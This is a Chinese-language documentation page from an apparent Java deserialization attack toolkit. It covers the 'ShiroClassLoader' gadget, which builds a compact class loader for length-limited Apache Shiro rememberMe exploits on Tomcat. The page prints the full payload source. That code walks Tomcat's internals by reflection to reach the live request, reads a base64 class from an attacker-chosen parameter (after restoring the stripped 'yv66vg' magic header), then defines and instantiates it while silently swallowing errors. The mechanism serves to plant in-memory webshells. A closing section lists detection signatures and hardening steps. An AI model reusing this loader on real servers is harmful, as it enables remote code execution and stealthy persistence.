Skip to content

Latest commit

 

History

History
169 lines (132 loc) · 13.2 KB

File metadata and controls

169 lines (132 loc) · 13.2 KB

Shiro下字节码分离加载(ShiroClassLoader)

  • 类别bytecode 别名:— 优先级:—
  • 模板类(真正下发到目标执行的字节码)
  • 作者:SummerSec
  • 依赖@GadgetAnnotation 未声明 Maven 依赖;但下发的模板字节码在目标运行期实际依赖 org.apache.shiro:shiro-coreorg.apache.shiro.codec.Base64)与 Tomcat 运行时(反射访问 AbstractProtocol / Http11* 内部字段)。
  • 实现Gadget(无基类 extends

作用

生成一段**「字节码分离加载器」的 class 字节码:把这段体积很小的加载器下发到目标并让其被加载后,它会在服务端线程中扫描出正在处理的 HTTP 请求,从指定请求参数里读取攻击者二次传入的大体积恶意字节码**,再 defineClass 定义并实例化。核心目的是绕过 Shiro rememberMe 反序列化场景下 payload 长度受限的问题——不把完整恶意类塞进受长度约束的序列化 payload,只塞一个几百字节的加载器,真正的载荷(内存马 / 命令执行类等)通过普通 HTTP 参数分离传入并落地执行。

链接标签

  • 入口 tagsBytecodeSpringEND
    • Bytecode:本 gadget 是字节码源,产物为 byte[](一段 class 字节码),交由上游字节码消费者加工/装载(如 BytecodeConvert 或 Spring 类加载型 sink)。
    • Spring:面向 Spring 类加载环境——这段字节码通常经由 Spring 的字节码加载 sink(如 SpringBeanXmlClassLoader)在目标 JVM 中被 defineClass 载入并触发其静态块。
    • END:链尾终端 sink,自身产出最终产物、无更内层依赖(见下方 invokedoCreate 返回值直接丢弃)。
  • 衔接 nextTags:(无)—— 终端节点,其后不再衔接其它 gadget。
  • excludes:(无)

源码剖析

一、gadget 外壳:ShiroClassLoader

@GadgetTags(tags={"Bytecode", "Spring", "END"})
@GadgetAnnotation(name="Shiro下字节码分离加载",
    description="适用于Shiro环境下字节码长度限制\n注意为了减少特征, 字节码中的 yv66vg 头部已在程序中指定, "
              + "在请求参数中携带字节码请求时需要去除这部分字符串, 并且需要对base64字符串进行url编码",
    authors={"SummerSec"})
public class ShiroClassLoader implements Gadget {
    @Param(name="请求参数名")
    public String param = "data";

    public byte[] getObject() throws Exception {
        JavassistHelper javassistHelper = new JavassistHelper(ShiroClassLoaderBytecode.class);
        javassistHelper.modifyStringField("param", this.param);   // 把加载器读取的“请求参数名”写死进字节码
        return javassistHelper.getBytecode();                     // 返回被改写后的 class 字节码
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        chain.doCreate(context);   // 驱动内层,但返回值被丢弃 —— 故本节点为 END 终端
        return this.getObject();   // 交出加载器字节码 byte[]
    }
}

逐段说明:

  • new JavassistHelper(ShiroClassLoaderBytecode.class) 以模板类 ShiroClassLoaderBytecode 的原始字节码为蓝本;modifyStringField("param", this.param) 用 Javassist 把模板中 public static String param 字段的初始值改写为用户配置的请求参数名(默认 "data");getBytecode() 返回改写后的 byte[]。于是最终字节码里已「烧录」了加载器应从哪个 HTTP 参数取第二段代码。
  • invoke 虽调用 chain.doCreate(context),但不使用其返回值——本 gadget 不包装任何内层对象,纯粹产出字节码,因此在链中是终端(END),产物由上游的字节码装载 sink 处理。

二、模板类:ShiroClassLoaderBytecode(下发后真正在目标 JVM 执行)

这段类被 defineClass 加载后,其静态初始化块 static {} 会立即运行(无需显式调用任何方法即可触发),逻辑是「找到当前 HTTP 请求 → 读参数 → 二次加载」:

public class ShiroClassLoaderBytecode {
    public static String param;                 // 由外壳 modifyStringField 写死为“请求参数名”

    // 沿父类链循环反射取任意字段(含私有),供穿透 Tomcat 内部对象使用
    private static Object getFV(Object var0, String var1) throws Exception { /* ... setAccessible + get ... */ }

    static {
        try {
            String var3 = null;                 // 用于承接读到的参数值
            boolean var5 = false;               // 命中标志
            Thread[] var6 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
            block4: for (int var7 = 0; var7 < var6.length; ++var7) {
                Thread var8 = var6[var7];
                String var2; Object var1;
                // 只挑“HTTP 工作线程”:名字含 http、不含 exec,且 target 是 Runnable
                if (var8 == null || (var2 = var8.getName()).contains("exec")
                        || !var2.contains("http")
                        || !((var1 = getFV(var8, "target")) instanceof Runnable)) continue;
                try {
                    // 反射穿透 Tomcat:target -> this$0 -> handler -> global(AbstractProtocol)
                    var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
                } catch (Exception e) { continue; }
                List var10 = (List) getFV(var1, "processors");   // AbstractProtocol.processors
                for (int var11 = 0; var11 < var10.size(); ++var11) {
                    Object var12 = var10.get(var11);
                    var1 = getFV(var12, "req");                  // 处理器持有的内部 Request
                    Object var4  = var1.getClass().getMethod("getResponse").invoke(var1);
                    Object var13 = var1.getClass().getMethod("getNote", Integer.TYPE)
                                       .invoke(var1, new Integer(1));            // Note(1) = 上层 Request/Response 门面
                    var3 = (String) var13.getClass().getMethod("getParameter", String.class)
                                        .invoke(var13, param);                   // 读取攻击者参数(名字=param)
                    if (var3 != null && !var3.isEmpty()) {
                        byte[] var14 = Base64.decode((String) ("yv66vg" + var3)); // 关键:先补回 class 魔数头再解码
                        Method var15 = ClassLoader.class.getDeclaredMethod(
                                "defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
                        var15.setAccessible(true);
                        Class var16 = (Class) var15.invoke(
                                ShiroClassLoaderBytecode.class.getClassLoader(),
                                var14, new Integer(0), new Integer(var14.length)); // 定义第二段类
                        var16.newInstance().equals(var13);                          // 实例化触发其构造/静态逻辑
                        var5 = true;
                    }
                    if (var5) continue block4;
                }
            }
        } catch (Exception exception) {
            // empty catch block —— 静默失败,不抛异常暴露自身
        }
    }
}

关键点逐条解释:

  1. 无请求上下文取请求:加载器被 Spring/字节码 sink 加载时,并不处于当前 HTTP 请求线程,因此它主动枚举 ThreadGroup.threads,用线程名筛选出 Tomcat 的 HTTP 工作线程(名含 http、排除 exec),再通过 target -> this$0 -> handler -> global -> processors -> req 一路反射拿到内部 Request 对象。这是无 RequestContextHolder 场景下拿回显/取参的通用手法。
  2. getNote(1):Tomcat 内部 coyote RequestgetNote(1) 返回与之绑定的上层门面对象,从而可调用 getParameter(param) 读取攻击者控制的 HTTP 参数值。
  3. "yv66vg" + var3 —— 与元数据呼应的“分离/减特征”设计:所有 Java class 文件均以 4 字节魔数 0xCAFEBABE 开头,其 Base64 编码前缀恒为 yv66vg。加载器在服务端主动补回这段固定前缀,因此攻击者在 HTTP 参数里传输的 Base64 可省去 yv66vg,既缩短长度也减少「Java 字节码」的流量特征——这正是 description 所述「为了减少特征,字节码中的 yv66vg 头部已在程序中指定……需要去除这部分字符串,并且需要对 base64 字符串进行 url 编码」。
  4. ClassLoader.defineClass 反射调用:用当前类的 ClassLoader 定义第二段字节码为新类,newInstance() 触发其构造/静态逻辑(真正的内存马注入或命令执行发生在这里)。
  5. 整体 try/catch 吞异常:任何反射失败都被静默忽略,避免加载器自身抛栈暴露。

三、与 ShiroClassLoader2 的差异

同目录 ShiroClassLoader2 结构完全一致,唯一区别在模板解码行:

  • 本类(ShiroClassLoader):Base64.decode("yv66vg" + var3) —— 服务端补魔数头,攻击者传输时去掉 yv66vg
  • ShiroClassLoader2Base64.decode(var3) —— 传入完整 Base64,其 description 仅要求「POST 传入字节码参数时,需要对 base64 字符串进行 url 编码」。

参数(@Param)

字段 名称 说明 类型 默认 可选值
param 请求参数名 加载器在目标运行时读取「第二段字节码」所用的 HTTP 参数名;会被 Javassist 写死进下发的字节码 String data —(自由填写)

适用版本与原理要点

  • 适用场景:Shiro rememberMe 反序列化(如 Shiro-550 默认 AES 密钥、Shiro-721 padding oracle)等payload 长度受限的入口,配合 Tomcat 容器。加载器依赖 Tomcat 的 AbstractProtocol.processors/Request 内部结构与 org.apache.shiro.codec.Base64,故目标须为 Tomcat + Shiro 环境。
  • 两段式(分离加载):第一段仅为轻量加载器(放进受限 payload);第二段(真正的大字节码)走普通 HTTP 参数二次投递,因而不受序列化长度约束。
  • 传输约定:第二段 Base64 需去掉 yv66vg 前缀并做 URL 编码+///= 等在 URL 中需转义),否则解码/参数解析会出错。
  • JDK 相关ClassLoader.defineClasssetAccessible(true) 反射调用,在 JDK 较高版本(模块化、强封装 JDK 16/17+)可能被反射访问限制拦截;线程遍历与 Tomcat 内部字段名亦随容器版本变化而可能失配(代码对失配采用 continue/吞异常的容错处理)。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可按标签自由组合:作为 Bytecode/Spring 字节码源,接入 Spring 类加载或 BytecodeConvert 等装载 sink,构成 Shiro 长度受限场景下的落地链。

关联

  • 同族变体:ShiroClassLoader2(传完整 Base64,不补 yv66vg 头)。
  • 上游装载:BytecodeConvert(消费 Bytecode 标签,把字节码加工为可装载形式)。
  • 同类回显/加载 sink(tagsBytecode):TomcatEcho 等 echo 系列,均以 JavassistHelper.modifyStringField 改写模板字段的方式生成字节码。
  • Shiro 场景配套:ModifyShiroKey(Shiro 密钥相关)。

防御与检测

检测特征

  • HTTP 请求参数中出现大段 Base64 且 URL 编码的值,尤其解码后以 0xCAFEBABE 开头、或去头后需补 yv66vg 才能构成合法 class(魔数分离是本 gadget 的强指纹)。
  • 服务端线程/类加载异常:非请求线程中出现对 ThreadGroup.threadstarget/this$0/handler/global/processors/req 等 Tomcat 内部字段的反射访问,以及对 ClassLoader.defineClass 的反射 setAccessible 调用。
  • Shiro 侧:rememberMe Cookie 触发反序列化后紧接着同一会话/来源发起携带大 Base64 参数的请求(两段式时间关联)。
  • 被加载类通常无稳定类名、无磁盘落地(内存态 defineClass),可结合「新类定义来源不明 + 无对应 .class 文件」告警。

加固建议

  • 修复 Shiro 反序列化根因:升级 shiro-core,更换默认/泄露的 rememberMe AES 密钥,必要时关闭 rememberMe;对反序列化入口启用类白名单(如 SerialKiller / JEP 290 ObjectInputFilter)。
  • 运行时防护:用 RASP/安全 Agent 挂钩 ClassLoader.defineClassMethod.setAccessible,拦截来自请求处理链之外的动态类定义;对 Tomcat 内部对象的异常反射访问告警。
  • 流量侧:WAF 对参数值做 Base64 解码探测,命中 class 魔数(含 yv66vg 去头场景)即拦截;限制单个参数长度与内容类型。
  • 收敛容器暴露面:避免以高权限运行、开启 SecurityManager/模块强封装(高版本 JDK)以增加反射穿透 Tomcat 内部结构的难度。

反编译源码溯源:、;机器可读元数据:../../index/gadgets.json